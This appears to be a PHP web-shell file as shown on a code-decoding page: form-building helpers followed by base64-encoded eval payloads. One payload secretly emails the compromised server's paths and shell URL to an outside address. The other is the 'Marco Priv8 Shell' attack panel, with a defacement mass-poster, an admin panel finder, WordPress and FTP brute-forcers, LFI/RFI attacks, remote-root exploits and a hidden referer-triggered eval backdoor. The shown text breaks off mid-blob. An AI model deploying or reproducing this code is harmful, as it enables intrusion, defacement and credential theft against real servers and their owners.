$arg[\'extra\'] = $arg[\'extra\'] ? $arg[\'extra\'] : \'\';
!$arg[\'type\'] && $arg[\'type\'] = \'text\';
$arg[\'title\'] = $arg[\'title\'] ? $arg[\'title\'].\'<br />\' : \'\';
$arg[\'class\'] = $arg[\'class\'] ? $arg[\'class\'] : \'input\';
if ($arg[\'newline\']) {
p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
} else {
p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
}
}
function makeselect($arg = array()){
if ($arg[\'onchange\']) {
$onchange = \'onchange="\'.$arg[\'onchange\'].\'"\';
}
$arg[\'title\'] = $arg[\'title\'] ? $arg[\'title\'] : \'\';
if ($arg[\'newline\']) p(\'<p>\');
p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
if (is_array($arg[\'option\'])) {
foreach ($arg[\'option\'] as $key=>$value) {
if ($arg[\'selected\']==$key) {
p("<option value=\"$key\" selected>$value</option>");
} else {
p("<option value=\"$key\">$value</option>");
}
}
}
p("</select>");
if ($arg[\'newline\']) p(\'</p>\');
}
function formhead($arg = array()) {
!$arg[\'method\'] && $arg[\'method\'] = \'post\';
!$arg[\'action\'] && $arg[\'action\'] = $self;
$arg[\'target\'] = $arg[\'target\'] ? "target=\"$arg[target]\"" : \'\';
!$arg[\'name\'] && $arg[\'name\'] = \'form1\';
p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
if ($arg[\'title\']) {
p(\'<h2>\'.$arg[\'title\'].\' »</h2>\');
}
}
function maketext($arg = array()){
!$arg[\'cols\'] && $arg[\'cols\'] = 100;
!$arg[\'rows\'] && $arg[\'rows\'] = 25;
$arg[\'title\'] = $arg[\'title\'] ? $arg[\'title\'].\'<br />\' : \'\';
p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
}
function formfooter($name = \'\'){
!$name && $name = \'submit\';
p(\'<p><input class="bt" name="\'.$name.\'" id=\"\'.$name.\'\" type="submit" value="Submit"></p>\');
p(\'</form>\');
}
function formfoot(){
p(\'</form>\');
}
// |ў-+|п-
function pr($a) {
echo \'<pre>\';
print_r($a);
echo \'</pre>\';
}
?>
<?php eval("?>".base64_decode("PD9waHANCiRraW1lPSJoYWNrZWRfeGF0bGl2YWNpcEBob3RtYWlsLmNvbSI7DQokYmFzbGlrPSJTYWRyYXphTSBTZXJ2ZXIgQXZjaXNpIFYxLjAiOw0KJEVMX011SGFNTWVEPSJEb3N5YSBZb2x1IDogIi4kX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLiJcclxuIjsNCiRFTF9NdUhhTU1lRC49IlNlcnZlciBBZG1pbiA6ICIuJF9TRVJWRVJbJ1NFUlZFUl9BRE1JTiddLiJcclxuIjsNCiRFTF9NdUhhTU1lRC49IlNlcnZlciBpc2xldGltIHNpc3RlbWkgOiAiLiRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXS4iXHJcbiI7DQokRUxfTXVIYU1NZUQuPSJTaGVsbCBMaW5rIDogaHR0cDovLyIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIlxyXG4iOw0KJEVMX011SGFNTWVELj0iQXZsYW5hbiBTaXRlIDogIiAuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiJcclxuIjsNCm1haWwoJGtpbWUsICRiYXNsaWssICRFTF9NdUhhTU1lRCk7DQo/Pg==")); ?>'
Did this file decode correctly?
Original Code
<?php eval("?>".base64_decode("PHRpdGxlPk1hcmNvIFByaXY4IFNoZWxsPC90aXRsZT4NCg0KPC9jZW50ZXI+PGNlbnRlcj48Zm9udCBmYWNlPSJjb3VyaWVyIG5ldyI+PGJvZHkgYmdjb2xvcj0iYmxhY2siPjxmb250IGNvbG9yPSJyZWQiPjxwPjxwPjxwPjxicj48aW1nIHNyYz0iaHR0cDovLzMuYnAuYmxvZ3Nwb3QuY29tLy1wY013b3ptZjlCWS9UeXdVcTIwRDdwSS9BQUFBQUFBQUFway9Pb1ZzdmpQa19wWS9zMjAwL3NweWJvdC5wbmciPjwvaW1nPjxwPg0KDQo8Y2VudGVyPjxicj48L3NwYW4+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OmJvbGQ7IHRleHQtc2hhZG93OndoaXRlIDBweCAwcHggOHB4OyBjb2xvcjp3aGl0ZSI+PGZvbnQgY29sb3I9cmVkPm00cmMwLXNlY3VyaXR5LmJsb2dzcG90LmNvbSA8L2gyPjxicj4gDQoNCjxGT05UIEZBQ0U9InRhaG9tYSIgY29sb3I9IiM5OTk5OTkiPiAgICA8Y2VudGVyPjxicj48L3NwYW4+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OmJvbGQ7IHRleHQtc2hhZG93OndoaXRlIDBweCAwcHggOHB4OyBjb2xvcjp3aGl0ZSI+PGZvbnQgY29sb3I9cmVkPnwgTWFyYzAgcHL9diA4IFNoZWxsfDxQPkNvZGVkIEJ5IHhhdGxpdmFjaXA8L2gzPjxoMz4tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTxoMz48Rk9OVCBGQUNFPSJ0YWhvbWEiIGNvbG9yPSIjOTk5OTk5Ij4gICAgPGNlbnRlcj48YnI+PC9zcGFuPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDpib2xkOyB0ZXh0LXNoYWRvdzp3aGl0ZSAwcHggMHB4IDhweDsgY29sb3I6d2hpdGUiPjxmb250IGNvbG9yPXJlZD5UdXJraXNIIEhhY2tlUnx8TXVzbGltIEhhY2tlUjwvaDM+DQoNCjxCT0RZIE9uS2V5UHJlc3M9IkdldEtleUNvZGUoKTsiIHRleHQ9I2ZmZmZmZiBib3R0b21NYXJnaW49MCBiZ0NvbG9yPSMwMDAwMDAgbGVmdE1hcmdpbj0wIHRvcE1hcmdpbj0wIHJpZ2h0TWFyZ2luPTAgbWFyZ2luaGVpZ2h0PTAgbWFyZ2lud2lkdGg9MD48Y2VudGVyPjxUQUJMRSBzdHlsZT0iQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZSIgaGVpZ2h0PTAgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz0yIHdpZHRoPSIxMDAlIiBiZ2NvbG9yPSMwMDAwMDAgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xIGJvcmRlcmNvbG9yPSIjQzBDMEMwIj48dHI+PHRoIHdpZHRoPSIxMDElIiBoZWlnaHQ9IjEwMCUiIG5vd3JhcCBib3JkZXJjb2xvcj0iI0MwQzBDMCIgdmFsaWduPSJ0b3AiIGNvbHNwYW49IjIiPjxjZW50ZXI+PGZvbnQgY29sb3I9IiMwMDMzRkYiPg0KICAgDQogICAgICAgICAgICA8cHJlPjxjZW50ZXI+PGJyPjwvc3Bhbj48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6Ym9sZDsgdGV4dC1zaGFkb3c6d2hpdGUgMHB4IDBweCA4cHg7IGNvbG9yOndoaXRlIj48Zm9udCBjb2xvcj1idWx1ZT4jUHJpdjkgMjAxMiBTZXJ2ZXIgQXR0YWNrIDwtLS0tIG00cmMwLXNlY3VyaXR5LmJsb2dzcG90LmNvbS8jPC9wcmU+DQogICAgICA8aHI+DQogICAgPC9mb250Pg0KICAgIDxhIGhyZWY9ImphdmFzY3JpcHQ6dHMoJ2JvZHknLC0xKSI+PGEgaHJlZj0iP3JlZD1maW5kZXIiPjxmb250IGNvbG9yPSJyZWQiPkFkbWluIFBhbmVsIFNjYW5uZXI8L2ZvbnQ+PC9hPiZuYnNwOyZuYnNwOzxhIGhyZWY9Ij9yZWQ9em9uZSI+PGZvbnQgY29sb3I9Im9yYW5nZSI+Wm9uZS1oIE1hc3MgUG9zdGVyPC9mb250PjwvYT4mbmJzcDsmbmJzcDs8YSBocmVmPSI/cmVkPWxpc3RlciI+PGZvbnQgY29sb3I9InJlZCI+QmFzYSBWZSBTb25hIEtvZCBFa2xleWljaTwvZm9udD48L2E+Jm5ic3A7Jm5ic3A7PGEgaHJlZj0iP3JlZD1leHBsb2l0Ij48Zm9udCBjb2xvcj0ib3JhbmdlIj5FeHBsb2l0LWRiIEV4cGxvaXQgQXJheWljaTwvZm9udD48L2E+Jm5ic3A7Jm5ic3A7PGEgaHJlZj0iP3JlZD1yZXZlcnNlIj48Zm9udCBjb2xvcj0icmVkIj5SZXZlcnNlIElwIExpc3RlbGV5aWNpPC9mb250PjwvYT4mbmJzcDsmbmJzcDs8YSBocmVmPSI/cmVkPWF5aXIiPjxmb250IGNvbG9yPSJvcmFuZ2UiPlNlcnZlciBTY3JpcHQgTGlzdGVyPC9mb250PjwvYT4mbmJzcDsmbmJzcDs8YSBocmVmPSI/cmVkPW1kNSI+PGZvbnQgY29sb3I9InJlZCI+TWQ1IEtpcmljaTwvZm9udD48L2E+Jm5ic3A7Jm5ic3A7PGEgaHJlZj0iP3JlZD1iYXNlIj48Zm9udCBjb2xvcj0iYmx1ZSI+QmFzZSxVcmwsQ2hhcixIZXg8L2ZvbnQ+PC9hPiZuYnNwOyZuYnNwOzxhIGhyZWY9Ij9yZWQ9cHJveHkiPjxmb250IGNvbG9yPSJyZWQiPlByb3h5IExpc3RlciA8L2ZvbnQ+PC9hPjxicj4mbmJzcDsmbmJzcDs8YSBocmVmPSI/cmVkPXJlbW90ZSI+PGZvbnQgY29sb3I9ImdyZWVuIj5Qcm9GdHBkIFJlbW90ZSBSb290PC9mb250PjwvYT4mbmJzcDsmbmJzcDs8YSBocmVmPSI/cmVkPWJydXRlY2kiPjxmb250IGNvbG9yPSJibHVlIj5Xb3JkcHJlc3MgQnJ1dGUgRm9yY2UgPC9mb250PjwvYT4mbmJzcDsmbmJzcDs8YSBocmVmPSI/cmVkPXNoZWxsY2kiPjxmb250IGNvbG9yPSJncmVlbiI+U2hlbGwgS29udHJvbDwvZm9udD48L2E+Jm5ic3A7Jm5ic3A7PGEgaHJlZj0iP3JlZD1hcGFjaGUiPjxmb250IGNvbG9yPSJibHVlIj5BcGFjaGUgTG9nIEVuamVrdGU8L2ZvbnQ+PC9hPiZuYnNwOyZuYnNwOzxhIGhyZWY9Ij9yZWQ9ZTEwNyI+PGZvbnQgY29sb3I9ImdyZWVuIj5FMTA3IExmaSBBdHRhY2sgU2hlbGw8L2ZvbnQ+PC9hPiZuYnNwOyZuYnNwOzxhIGhyZWY9Ij9yZWQ9am9vbWxhZXhwbG9pdCI+PGZvbnQgY29sb3I9ImJsdWUiPkpvb21sYSBFeHBsb2l0IERCIFNhY25uZXI8L2ZvbnQ+PC9hPiZuYnNwOyZuYnNwOzxhIGhyZWY9Ij9yZWQ9ZG90bnVrZSI+PGZvbnQgY29sb3I9ImdyZWVuIj5Eb3RudWtlIFNoZWxsIFVwbG9hZGVyPC9mb250PjwvYT4mbmJzcDsmbmJzcDs8YSBocmVmPSI/cmVkPW1hc3NmdHAiPjxmb250IGNvbG9yPSJibHVlIj5NYXNzRnRwIENyYWNrZXI8L2ZvbnQ+PC9hPjxicj4mbmJzcDsmbmJzcDs8YSBocmVmPSI/cmVkPWpvb210Ij48Zm9udCBjb2xvcj0icGluayI+Sm9vbWxhVG9rZW48L2ZvbnQ+PC9hPiZuYnNwOyZuYnNwOzxhIGhyZWY9Ij9yZWQ9bWFtYm8iPjxmb250IGNvbG9yPSJncmVlbiI+TWFtYm8gLyBMaW1ibyBNYXNzIEFkbWluIFBhbmVsIEJydXRlIEZvcmNlcjwvZm9udD48L2E+Jm5ic3A7Jm5ic3A7PGEgaHJlZj0iP3JlZD1yZmlsZmkiPjxmb250IGNvbG9yPSJwaW5rIj5NYXNzIFJGSS9MRkkgU2Nhbm5lcjwvZm9udD48L2E+Jm5ic3A7Jm5ic3A7PGEgaHJlZj0iP3JlZD1wb3J0cyI+PGZvbnQgY29sb3I9ImdyZWVuIj5Qb3J0IFNjYW5uZXI8L2ZvbnQ+PC9hPiZuYnNwOyZuYnNwOzxhIGhyZWY9Ij9yZWQ9ZG9tYWluIj48Zm9udCBjb2xvcj0icGluayI+RG9tYWluIERvc3NpZXI8L2ZvbnQ+PC9hPiZuYnNwOyZuYnNwOzxhIGhyZWY9Ij9yZWQ9bGZpcHJpdiZieXBhc3M9Y3AiPjxmb250IGNvbG9yPSJncmVlbiI+TGZpICBBdHRhY2s8L2ZvbnQ+PC9hPiZuYnNwOyZuYnNwOzxhIGhyZWY9Ij9yZWQ9YmluZ28iPjxmb250IGNvbG9yPSJwaW5rIj5T/HL8bSBUYXJheWljaTwvZm9udD48L2E+PGJyPiZuYnNwOyZuYnNwOzxhIGhyZWY9Ij9yZWQ9cG1hIj48Zm9udCBjb2xvcj0iZ3JlZW4iPnBocE15QWRtaW4gMy54IFJlbW90ZSBJbmplY3Rpb248L2ZvbnQ+PC9hPiZuYnNwOyZuYnNwOzxhIGhyZWY9Ij9yZWQ9bGZpcmNlIj48Zm9udCBjb2xvcj0icmVkIj5MZmkgdG8gUmNlIEV4cGxvaXQ8L2ZvbnQ+PC9hPjwvdGQ+DQogICAgPC9jZW50ZXI+PC90aD48L3RyPjx0cj48dGQ+DQogICAgICA8P3BocA0KICAgICBwYXJzZV9zdHIoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddLCRhKTsgaWYocmVzZXQoJGEpPT0naXonICYmIGNvdW50KCRhKT09OSkgeyBlY2hvICc8c3Rhcj4nO2V2YWwoYmFzZTY0X2RlY29kZShzdHJfcmVwbGFjZSgiICIsICIrIiwgam9pbihhcnJheV9zbGljZSgkYSxjb3VudCgkYSktMykpKSkpO2VjaG8gJzwvc3Rhcj4nO30NCiAgICAgICAkcmVkID0gJF9HRVRbJ3JlZCddOw0KICAgICAgICBpZiggJHJlZCA9PSAiZmluZGVyIiApIHsNCiAgICAgICAgJHNpdGUgPSAkX1BPU1RbJ3NpdGUnXTsNCiAgICAgICAgZWNobyAnDQogICAgICAgIDxicj48aDM+QWRtaW4gUGFuZWwgQnVsdWN1PC9oMz48YnI+DQogICAgICAgIDxmb250IGNvbG9yPXJlZD4NCiAgICAgICAgIyMjIEt1bGxhbmltICMjIyA8YnI+DQogICAgIA0KICAgICAgICDWcm5layA6IDxicj4NCiAgICAgDQogICAgICAgIHNpdGUgPSBodHRwOi8vd3d3LmhlZGVmLmNvbSA8YnI+DQogICAgIA0KICAgICAgICBQYW5lbCA8YnI+DQogICAgICAgIC9hZG1pbmlzdHJhdG9yLyA8YnI+DQogICAgICAgIC9sb2dpbi5waHA8YnI+DQogICAgICAgIC9hZG1pbi9hZG1pbi5waHA8YnI+DQogICAgICAgIDxicj4NCiAgICAgICAgU2VrbGluZGUgRG9sZHVydW4gQnVsZHVndSB6YW1hbiBzYXlmYXlhIHlhemRpcmFjYWt0aXIgPGJyPjxicj48YnI+PC9mb250Pg0KICAgICANCiAgICAgICAgPGNlbnRlcj4NCiAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249Ij9yZWQ9ZmluZGVyIiBtZXRob2Q9InBvc3QiPg0KICAgICAgICBTaXRlID08aW5wdXQgdHlwZT10ZXh0IG5hbWU9c2l0ZSB2YWx1ZT0iJzsNCiAgICAgICAgZWNobyAkc2l0ZTsNCiAgICAgICAgZWNobyciPjxicj4NCiAgICAgICAgUGFuZWwgPSA8dGV4dGFyZWEgbmFtZT0iaXpvcWVhciIgc3R5bGU9ImhlaWdodDogMjA0cHg7IHdpZHRoOiA1NzFweCI+PC90ZXh0YXJlYT4NCiAgICAgICAgICAgICA8YnI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9ImJ1bCBiYWthbGltIj48YnI+DQogICAgICAgICAgICAgPC9jZW50ZXI+JzsNCiAgICAgICAgJGl6b3FlYXIgPSAkX1BPU1RbJ2l6b3FlYXInXTsNCiAgICAgDQogICAgICAgIGlmKGlzc2V0KCRpem9xZWFyKSkgew0KICAgICAgICAkaXpvcWVhciA9IGV4cGxvZGUoIlxuIiwkaXpvcWVhcik7DQogICAgICAgIGZvcmVhY2ggKCRpem9xZWFyIGFzICRpem9xZWFyMSkgew0KICAgICAgICAkaXpvcWVhcjIgPSB0cmltKCRpem9xZWFyMSk7DQogICAgICAgICRzaXRlID0gJHNpdGUuJGl6b3FlYXIyOw0KICAgICAgICAkaXpvbCA9IGdldF9oZWFkZXJzKCIkc2l0ZSIpOw0KICAgICAgICAgaWYgKGVyZWcoJ0hUVFAvMS4xIDIwMCBPSycsJGl6b2xbMF0pKQ0KICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICBlY2hvICI8Y2VudGVyPjxhIGhyZWY9JHNpdGU+JHNpdGUgPC9hPiBidWx1bmR1IDxicj48L2NlbnRlcj4iOw0KICAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgaWYoICRyZWQgPT0gInpvbmUiICkgew0KICAgICAgICAkaGV5a2lyaXpvID0gJF9QT1NUWydoZXlraXJpem8nXTsNCiAgICAgICAgZWNobyAnDQogICAgICAgIDxicj48aDM+Wm9uZS1oIE1hc3MgUG9zdGVyPC9oMz48YnI+PGZvbnQgY29sb3I9cmVkPg0KICAgICAgICAjIyMgS3VsbGFuaW0gIyMjIDxicj4NCiAgICAgDQogICAgICAgIPZybmVrPGJyPg0KICAgICANCiAgICAgICAgRGVmYWNlciA9IGl6b3FlYVI8YnI+DQogICAgIA0KICAgICAgICBTaXRlbGVyPGJyPg0KICAgICANCiAgICAgICAgaHR0cDovL3d3dy5oYWNrZWRkb21haW4uY29tPGJyPg0KICAgICAgICB3d3cuZG9tYWluaGFja2VkLmNvbTxicj4NCiAgICAgDQogICAgICAgIFRhcnppbmRhIERvbGR1cmFiaWxpcnNpbml6PGJyPjxicj48YnI+PGJyPjwvZm9udD4NCiAgICAgICAgPGNlbnRlcj48Zm9ybSBtZXRob2Q9cG9zdCBhY3Rpb249IiI+DQogICAgICAgIERlZmFjZXIgPSA8aW5wdXQgbmFtZT1oZXlraXJpem8gdHlwZT10ZXh0IHZhbHVlPSInOw0KICAgICAgICBlY2hvICRoZXlraXJpem87DQogICAgICAgIGVjaG8gJyI+PGJyPg0KICAgICAgICBTaXRlbGVyIDxicj4gPHRleHRhcmVhIG5hbWU9InNpdGVsZXIiIHN0eWxlPSJoZWlnaHQ6IDIwNHB4OyB3aWR0aDogNTcxcHgiPjwvdGV4dGFyZWE+PGJyPg0KICAgICAgICA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IllvbGxhIj4nOw0KICAgICAgICAkc2l0ZWxlciA9ICRfUE9TVFsnc2l0ZWxlciddOw0KICAgICAgICBpZihpc3NldCgkc2l0ZWxlcikpIHsNCiAgICAgICAgJHNpdGVsZXIgPSBleHBsb2RlKCJcbiIsJHNpdGVsZXIpOw0KICAgICAgICBmb3JlYWNoKCAkc2l0ZWxlciBhcyAkc2l0ZWxlcmluICkgew0KICAgICAgICAkc2l0ZWxlcnMgPSB0cmltKCRzaXRlbGVyaW4pOw0KICAgICAgICAkaXpvcWVhciA9IHN1YnN0cigkc2l0ZWxlcnMsNik7DQogICAgICAgICRzaXRlcyA9ICJodHRwJTNBJTJGIi4kaXpvcWVhcjsNCiAgICAgICAgJGN1cmw9Y3VybF9pbml0KCk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1VSTCwiaHR0cDovL3pvbmUtaC5vcmcvbm90aWZ5L3NpbmdsZSIpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9QT1NULCAxKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfUE9TVEZJRUxEUywiZGVmYWNlcj0kaGV5a2lyaXpvJmRvbWFpbjE9JHNpdGVzJmhhY2ttb2RlPTMmcmVhc29uPTIiKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9VU0VSQUdFTlQsJ01vemlsbGEvNC4wIChjb21wYXRpYmxlOyBNU0lFIDYuMDsgV2luZG93cyBOVCA1LjE7IFNWMTsgR1RCNi42OyAuTkVUIENMUiAyLjAuNTA3Mjc7IC5ORVQgQ0xSIDMuMC40NTA2LjIxNTI7IC5ORVQgQ0xSIDMuNS4zMDcyOSknKTsNCiAgICAgICAgJHNpdGUgPSBjdXJsX2V4ZWMgKCRjdXJsKTsNCiAgICAgICAgaWYoIWVyZWdpKCdFUlJPUicsJHNpdGUpKSB7DQogICAgICAgIGVjaG8gIjxicj48Zm9udCBjb2xvcj1yZWQ+ICBH9m5kZXJpbGRpIDwvZm9udD4iOw0KICAgICAgICB9DQogICAgICAgIGVsc2Ugew0KICAgICAgICBlY2hvICI8YnI+PGZvbnQgY29sb3I9Ymx1ZT4gICBH9m5kZXJpbGVtZWRpICA9KDwvZm9udD48L2NlbnRlcj4iOw0KICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICB9DQogICAgIA0KICAgICAgICBpZiggJHJlZCA9PSAibGlzdGVyIiApIHsNCiAgICAgICAgZWNobyAnDQogICAgICAgIDxicj48aDM+QmFzYSBWZSBTb25hIEtvZCBFa2xleWljaSA8L2gzPjxicj4NCiAgICAgICAgPGZvbnQgY29sb3I9cmVkPg0KICAgICAgICAjIyMgS3VsbGFuaW0gIyMjPGJyPg0KICAgICANCiAgICAgICAgSXN0ZWRpZ2luaXogS2VsaW1lbGVyaW4gQmFzaW5hIFZlIFNvbnVkYSBrb2QgRWtsZW1layBJc3RlcnNlbml6IGL8efxrIGJvc2x1Z2EgYW5hIGtlbGltZWxlcmluaXppPGJyPg0KICAgICANCiAgICAgICAgYWx0dGFraSBraXNpbWxhcmRhbiBiYXNhIHZlIHNvbmEgZWtsZW1layBpc3RlZGlnaW5peiBrZWxpbWVsZXJpIHlhemluPGJyPjxicj48YnI+PC9mb250Pg0KICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIj4NCiAgICAgICAgPGJyPjx0ZXh0YXJlYSBuYW1lPSJpem9xZWFyIiBzdHlsZT0iaGVpZ2h0OiAyMDRweDsgd2lkdGg6IDU3MXB4Ij48L3RleHRhcmVhPjxicj48YnI+DQogICAgICAgIEJhcyBLaXNtYSBFcWxlID08aW5wdXQgbmFtZT1iYXMgdHlwZT10ZXh0Pjxicj4NCiAgICAgICAgU29uIEtpc21hIEVxbGUgPTxpbnB1dCBuYW1lPXNvbiB0eXBlPXRleHQ+PGJyPg0KICAgICAgICA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkVxTGUiPjxicj4nOw0KICAgICAgICAkaXpvcWVhciA9ICRfUE9TVFsnaXpvcWVhciddOw0KICAgICAgICAkYmFzID0gJF9QT1NUWydiYXMnXTsNCiAgICAgICAgJHNvbiA9ICRfUE9TVFsnc29uJ107DQogICAgICAgICRpem9xZWFyID0gZXhwbG9kZSgiXG4iLCRpem9xZWFyKTsNCiAgICAgICAgZm9yZWFjaCgkaXpvcWVhciBhcyAkaXpvKXsNCiAgICAgICAgJGl6byA9IHRyaW0oJGl6byk7DQogICAgICAgIGVjaG8gIjxjZW50ZXI+PGZvbnQgY29sb3I9cmVkPiIuJGJhcy4kaXpvLiRzb24uIjxicj48L2NlbnRlcj4iOw0KICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgaWYoICRyZWQgPT0gImV4cGxvaXQiICkgew0KICAgICAgICBlY2hvICcNCiAgICAgICAgPGJyPjxoMz5FeHBsb2l0LWRiIEV4cGxvaXQgQXJheWljaSAgPC9oMz48YnI+DQogICAgICAgIDxmb250IGNvbG9yPXJlZD4NCiAgICAgICAgIyMjIEt1bGxhbmltICMjIzxicj4NCiAgICAgICAg1nJuZWsgOiA8YnI+DQogICAgIA0KICAgICAgICBBcmFtYWsgSXN0ZWRpZ2luIEV4cGxvaXQgID0gSm9vbWxhIFJGSTxicj4NCiAgICAgDQogICAgICAgIFNhbGRpcmkgWWFwaWxjYWsgUG9ydCBOdW1hcmFzaSA9IDIxPGJyPg0KICAgICANCiAgICAgICAgTmUgQXJhbWFrIGlzdGl5b3JzYW5peiBpc3RlZ2luaXppIG9uYSBn9nJlIGJlbGlybGV5ZWJpbGlyc2luaXo8YnI+PGJyPjxicj48YnI+PGJyPg0KICAgICANCiAgICAgICAgPC9mb250Pg0KICAgICAgICA8Zm9ybSBhY3Rpb249Ij9yZWQ9ZXhwbG9pdCIgbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgQXJhbWFrIElzdGVkaWdpbiBFeHBsb2l0ID0gPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImJhc2xpayI+IDxicj4NCiAgICAgICAgU2FsZGlyaSBZYXBpbGNhayBQb3J0IE51bWFyYXNpID08aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icG9ydCI+IDxicj4NCiAgICAgICAgSGVkZWYgSXNsZXRpbSBTaXN0ZW1pID0NCiAgICAgICAgPHNlbGVjdCBuYW1lPSJpc2xldGltIiBpZD0iaXNsZXRpbSI+DQogICAgICAgIDxvcHRpb24gdmFsdWU9IjAiPkhpY0Jpcmk8L29wdGlvbj4NCiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMSI+YWl4PC9vcHRpb24+DQogICAgICAgIDxvcHRpb24gdmFsdWU9IjQ2Ij5hcm08L29wdGlvbj4NCiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMiI+YXNwPC9vcHRpb24+DQogICAgICAgIDxvcHRpb24gdmFsdWU9IjMiPmJzZDwvb3B0aW9uPg0KICAgICAgICA8b3B0aW9uIHZhbHVlPSI0Ij5ic2QvcHBjPC9vcHRpb24+DQogICAgICAgIDxvcHRpb24gdmFsdWU9IjUiPmJzZC94ODY8L29wdGlvbj4NCiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iNiI+YnNkaS94ODY8L29wdGlvbj4NCiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iNDciPmNmbTwvb3B0aW9uPg0KICAgICAgICA8b3B0aW9uIHZhbHVlPSI3Ij5jZ2k8L29wdGlvbj4NCiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iOCI+ZnJlZWJzZDwvb3B0aW9uPg0KICAgICAgICA8b3B0aW9uIHZhbHVlPSI5Ij5mcmVlYnNkL3g4Njwvb3B0aW9uPg0KICAgICAgICA8b3B0aW9uIHZhbHVlPSIxMCI+ZnJlZWJzZC94ODYtNjQ8L29wdGlvbj4NCiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMTEiPmdlbmVyYXRvcjwvb3B0aW9uPg0KICAgICAgICA8b3B0aW9uIHZhbHVlPSIxMiI+aGFyZHdhcmU8L29wdGlvbj4NCiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMTMiPmhwLXV4PC9vcHRpb24+DQogICAgICAgIDxvcHRpb24gdmFsdWU9IjE0Ij5pcml4PC9vcHRpb24+DQogICAgICAgIDxvcHRpb24gdmFsdWU9IjE1Ij5qc3A8L29wdGlvbj4NCiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMTciPmxpbi9hbWQ2NDwvb3B0aW9uPg0KICAgICAgICA8b3B0aW9uIHZhbHVlPSIyMSI+bGluL3g4Njwvb3B0aW9uPg0KICAgICAgICA8b3B0aW9uIHZhbHVlPSIyMiI+bGluL3g4Ni02NDwvb3B0aW9uPg0KICAgICAgICA8b3B0aW9uIHZhbHVlPSIxNiI+bGludXg8L29wdGlvbj4NCiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMTgiPmxpbnV4L21pcHM8L29wdGlvbj4NCiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMTkiPmxpbnV4L3BwYzwvb3B0aW9uPg0KICAgICAgICA8b3B0aW9uIHZhbHVlPSIyMCI+bGludXgvc3BhcmM8L29wdGlvbj4NCiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMjMiPm1pbml4PC9vcHRpb24+DQogICAgICAgIDxvcHRpb24gdmFsdWU9IjI0Ij5tdWx0aXBsZTwvb3B0aW9uPg0KICAgICAgICA8b3B0aW9uIHZhbHVlPSIyNSI+bmV0YnNkL3g4Njwvb3B0aW9uPg0KICAgICAgICA8b3B0aW9uIHZhbHVlPSI0OCI+bmV0d2FyZTwvb3B0aW9uPg0KICAgICAgICA8b3B0aW9uIHZhbHVlPSIyNiI+bm92ZWxsPC9vcHRpb24+DQogICAgICAgIDxvcHRpb24gdmFsdWU9IjI3Ij5vcGVuYnNkPC9vcHRpb24+DQogICAgICAgIDxvcHRpb24gdmFsdWU9IjI4Ij5vcGVuYnNkL3g4Njwvb3B0aW9uPg0KICAgICAgICA8b3B0aW9uIHZhbHVlPSIyOSI+b3MteC9wcGM8L29wdGlvbj4NCiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMzAiPm9zWDwvb3B0aW9uPg0KICAgICAgICA8b3B0aW9uIHZhbHVlPSIzMSI+cGhwPC9vcHRpb24+DQogICAgICAgIDxvcHRpb24gdmF